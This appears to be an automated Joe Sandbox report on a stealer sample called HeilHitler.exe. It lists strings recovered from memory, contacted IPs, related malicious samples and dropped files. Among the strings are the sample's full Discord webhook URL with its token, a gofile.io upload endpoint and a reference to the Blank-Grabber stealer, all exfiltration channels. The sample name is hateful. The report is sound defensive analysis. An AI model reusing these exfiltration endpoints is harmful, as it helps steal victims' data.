https://discord.com/api/webhooks/1302413781162266715/WJ0cdpWb68IO94MZWMtc7o2HkgZFWYLoExtrMC3fyimxUgR	HeilHitler.exe, 00000001.00000002.2031419097.000001BD43930000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42C7C000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	HeilHitler.exe	false		high
https://github.com/urllib3/urllib3/issues/2920	HeilHitler.exe, 00000001.00000002.2031557342.000001BD43A30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	HeilHitler.exe, 00000001.00000003.1907543224.000001BD434D3000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2024405519.000001BD43090000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434A1000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907001507.000001BD43734000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	HeilHitler.exe, 00000000.00000003.1680320755.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC	HeilHitler.exe, 00000001.00000002.2031419097.000001BD43930000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	HeilHitler.exe, 00000001.00000002.2022344283.000001BD40F50000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	HeilHitler.exe, 00000001.00000002.2024405519.000001BD43090000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1752805888.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2027310965.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717535771.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1732575141.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1748948213.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoftOWNLO~1.TXTy.	HeilHitler.exe, 00000001.00000003.2021328315.000001BD43658000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2030548396.000001BD4365F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2021194278.000001BD43652000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2021471863.000001BD4365E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.bellmedia.c	HeilHitler.exe, 00000001.00000002.2032925274.000001BD44538000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1761523281.000001BD4377A000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763010385.000001BD4377B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	HeilHitler.exe, 00000001.00000002.2026948270.000001BD43481000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	HeilHitler.exe, 00000001.00000002.2032925274.000001BD44544000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CC4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1761523281.000001BD4377A000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763010385.000001BD4377B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	HeilHitler.exe, 00000000.00000003.1680320755.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679598819.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://html.spec.whatwg.org/multipage/	HeilHitler.exe, 00000001.00000002.2024405519.000001BD43090000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1752805888.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717535771.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1732575141.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1748948213.000001BD43091000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	HeilHitler.exe, 00000001.00000002.2031684377.000001BD43B30000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031419097.000001BD43930000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	HeilHitler.exe, 00000001.00000003.1907250502.000001BD43701000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CC4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2019563496.000001BD43701000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	HeilHitler.exe, 00000001.00000003.1907001507.000001BD43734000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907174052.000001BD43738000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	HeilHitler.exe, 00000001.00000002.2027310965.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD4348C000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD43498000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000026.00000002.1887725142.000002872B769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000026.00000002.1830812751.000002871CD42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServer	HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	HeilHitler.exe	false		high
http://wwcrosoft.com/pki/certs/MicWinPCA_2010-07-06.crt0	powershell.exe, 00000007.00000002.1838904578.0000026DC92AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.1824453418.0000026DC0C84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1887725142.000002872B8AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1830812751.000002871D05B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1887725142.000002872B769000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000026.00000002.1830812751.000002871CD42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	HeilHitler.exe, rar.exe.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43C60000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	HeilHitler.exe, 00000000.00000003.1680320755.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679598819.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://json.org	HeilHitler.exe, 00000001.00000003.2021033088.000001BD43107000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2026948270.000001BD43330000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0205/	HeilHitler.exe, 00000000.00000003.1678922666.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
https://www.wykop.pl/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43C7C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42C7C000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/	HeilHitler.exe, 00000001.00000002.2027310965.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2024405519.000001BD43030000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.olx.pl/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefox	HeilHitler.exe, 00000001.00000003.1723565686.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43737000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718513847.000001BD436DA000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1720857356.000001BD43737000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2026948270.000001BD43330000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.128.233	discord.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556385
Start date and time:	2024-11-15 10:43:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	88
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HeilHitler.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@139/52@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 95% Number of executed functions: 127 Number of non-executed functions: 177
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 52.149.20.212, 20.3.187.198, 13.95.31.18, 40.69.42.241
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, gstatic.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7608 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8084 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: HeilHitler.exe

Simulations

Behavior and APIs

Time	Type	Description
04:44:05	API Interceptor	113x Sleep call for process: powershell.exe modified
04:44:07	API Interceptor	5x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	akame.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting
	HBL,MBL CN MBL NO.OOLU274.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	ip-api.com/line/?fields=hosting
	(#U0130TOSAM) 11 KASIM 2024 HAFTALIK EKONOM#U0130 B#U00dcLTEN#U0130.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	ip-api.com/line/
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	ip-api.com/line/
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	ip-api.com/line/
	file.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/
	file.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/
162.159.128.233	file.exe	Get hash	malicious	LummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRAT	Browse	discord.com/phpMyAdmin/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	akame.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	HBL,MBL CN MBL NO.OOLU274.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	208.95.112.1
	(#U0130TOSAM) 11 KASIM 2024 HAFTALIK EKONOM#U0130 B#U00dcLTEN#U0130.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
discord.com	file.exe	Get hash	malicious	CStealer	Browse	162.159.138.232
	B78DGDwttv.exe	Get hash	malicious	SilverRat	Browse	162.159.135.232
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse	162.159.137.232
	cDRgXaadjD.exe	Get hash	malicious	SilverRat	Browse	162.159.128.233
	dens.exe	Get hash	malicious	Python Stealer, Exela Stealer, Waltuhium Grabber	Browse	162.159.128.233
	Xyq6rvzLJs.exe	Get hash	malicious	SilverRat	Browse	162.159.137.232
	00514DIRyT.exe	Get hash	malicious	GO Stealer	Browse	162.159.136.232
	yuki.exe	Get hash	malicious	Luna Stealer	Browse	162.159.138.232
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.135.232
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.137.232
bg.microsoft.map.fastly.net	https://urlsand.esvalabs.com/?u=https%3A%2F%2Fwww.google.es%2Furl%3Fq%3Dquerydvj3%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253Dquery%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253Dquery%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253Dquery%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253D%26sa%3Dt%26url%3Damp%252fsafrareal.com.br%252fyoya%252fcwvw6vvf1g5bqgkdfsxdiiczthvxp3de8xxbs%2FcG1lQGZlZGVnYXJpYXNpYS5jb20%3D%24%3F&e=24a2acfd&h=70c4a2f4&f=n&p=y	Get hash	malicious	Unknown	Browse	199.232.214.172
	dekont_7083037 T#U00dcRK#U0130YE HALK BANKASI A.#U015e pdf .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	5z3Wzl6uag.js	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://kunnskapsfilm.no	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.google.es/url?q=queryrp18(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fpreview.adope.jp%2fod%2f8gqnmo6zgfuuc6sej4k7rfdswihr8l%2fZnJhbnMuZW5nZWxicmVjaHRAYXJkYWdoZ3JvdXAuY29t$?	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.payceconsultings.com/#choonghoon.kim@hyundaielevator.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://tvdseo.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.google.ch/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/afrotech2023.com%2Fdhj%2F4298727249/bmljay5zcHVybG9ja0BsZWcud2EuZ292	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/%73%61%66%65%74%79%77%6F%72%6B%73%6F%6C%75%74%69%6F%6E%73%2E%63%6F%6D%2F%73%78%7A%70%2F7220292368/am9lLm5ndXllbkBsZWcud2EuZ292	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://www2.megawebfind.com	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	akame.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	HBL,MBL CN MBL NO.OOLU274.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	208.95.112.1
	(#U0130TOSAM) 11 KASIM 2024 HAFTALIK EKONOM#U0130 B#U00dcLTEN#U0130.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
CLOUDFLARENETUS	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse	172.67.151.164
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	9RM52QaURq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	9RM52QaURq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	bv2DbIiZeK.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	brozer.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	NewVoicemail - +1 392 504 7XXX00-33Rebecca.silvaTranscript.html	Get hash	malicious	Unknown	Browse	104.16.123.96
	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI74322\VCRUNTIME140.dll	meN9qeS2DE.exe	Get hash	malicious	XWorm	Browse
	client1.exe	Get hash	malicious	Unknown	Browse
	qbE2mhhzCq.exe	Get hash	malicious	Blank Grabber	Browse
	UwOcZADSmi.exe	Get hash	malicious	AsyncRAT	Browse
	IyWKJMlCXg.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Python.Stealer.1545.20368.28754.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	JdHvcxG4Up.exe	Get hash	malicious	Unknown	Browse
	souFnS89FP.exe	Get hash	malicious	Unknown	Browse
	Bootstrapper V1.19.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	enigma.tech.exe	Get hash	malicious	Blank Grabber	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\ ?? ?\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706852
Entropy (8bit):	7.928106029567756
Encrypted:	false
SSDEEP:	12288:ye9t1uq13flvUiKLnInv/kk1hJ2v1JKDQHzfW4pgvW3BMJyAgmNUY6ykz9mCIqVW:TdvUi0nIHWHK0HNYWwgxlyMiqVW
MD5:	8C923F1FDA7DDA0541586BA8ED2963A6
SHA1:	3DA78AE128FF406F552C1701383FE4B927274F0E
SHA-256:	ADA874D777202602B6F554C58C0546E0123745854E0557392693BABB3C3B187A
